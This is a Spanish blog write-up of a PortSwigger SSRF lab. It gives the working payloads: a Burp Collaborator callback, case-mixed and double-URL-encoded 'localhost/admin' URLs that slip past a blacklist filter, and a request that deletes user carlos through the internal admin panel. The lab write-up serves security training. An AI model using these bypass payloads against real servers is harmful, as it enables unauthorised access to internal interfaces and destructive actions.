Blog/SSRF with blacklist-based input filter

SSRF with blacklist-based input filter

Portswigger › Portswigger Labs › SSRF

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio tiene una función de verificación de inventario que obtiene datos de un sistema interno. Para resolver el laboratorio, debemos cambiar la URL de verificación de inventario para acceder a la interfaz de administración en http://localhost/admin y eliminar al usuario Carlos. El desarrollador ha implementado dos medidas defensivas débiles contra SSRF que necesitaremos eludir


Guía de SSRF

Antes de completar este laboratorio es recomendable leerse esta guía de SSRF https://justice-reaper.github.io/posts/SSRF-Guide/

Resolución

Al acceder a la web nos sale esto

Pulsamos en View details y vemos la descripción del producto

Hacemos click sobre la función Check stock y capturamos la petición con Burpsuite

Esta función está enviando estos datos por POST

stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1

Nos dirigimos a Burpsuite Collaborator hacemos click en Copy to clipboard y vemos que se está haciendo una petición a una url vamos a ver si nos llega a nosotros esa petición

stockApi=http://l1nvttjpdegib5zaazzc93buslycm3as.oastify.com

Efectivamente nos llega una petición en Burpsuite Collaborator

Si mandamos un petición con este payload nos lo bloquea y nos muestra el mensaje de External stock check blocked for security reasons

stockApi=http://localhost/admin

De esta forma evitamos las medidas defensivas contra SSRF

stockApi=http://LoCaLHost/AdMIn

También podemos ofuscar el payload urlencodeandolo dos veces

stockApi=http://%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%36%38%25%36%66%25%37%33%25%37%34/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

Hacemos click derecho y seleccionamos una de las dos opciones

Vemos que estamos ante un panel administrativo

Si pulsamos Delete para borrar al usuario carlos no nos dejará, debido a que no estamos logueados como usuario administrador

Para poder eliminarlo debemos usar el SSRF

stockApi=http://LOCaLhOsT/AdMIN/dELeTe?username=carlos
¿Tienes dudas?Escríbeme por WhatsApp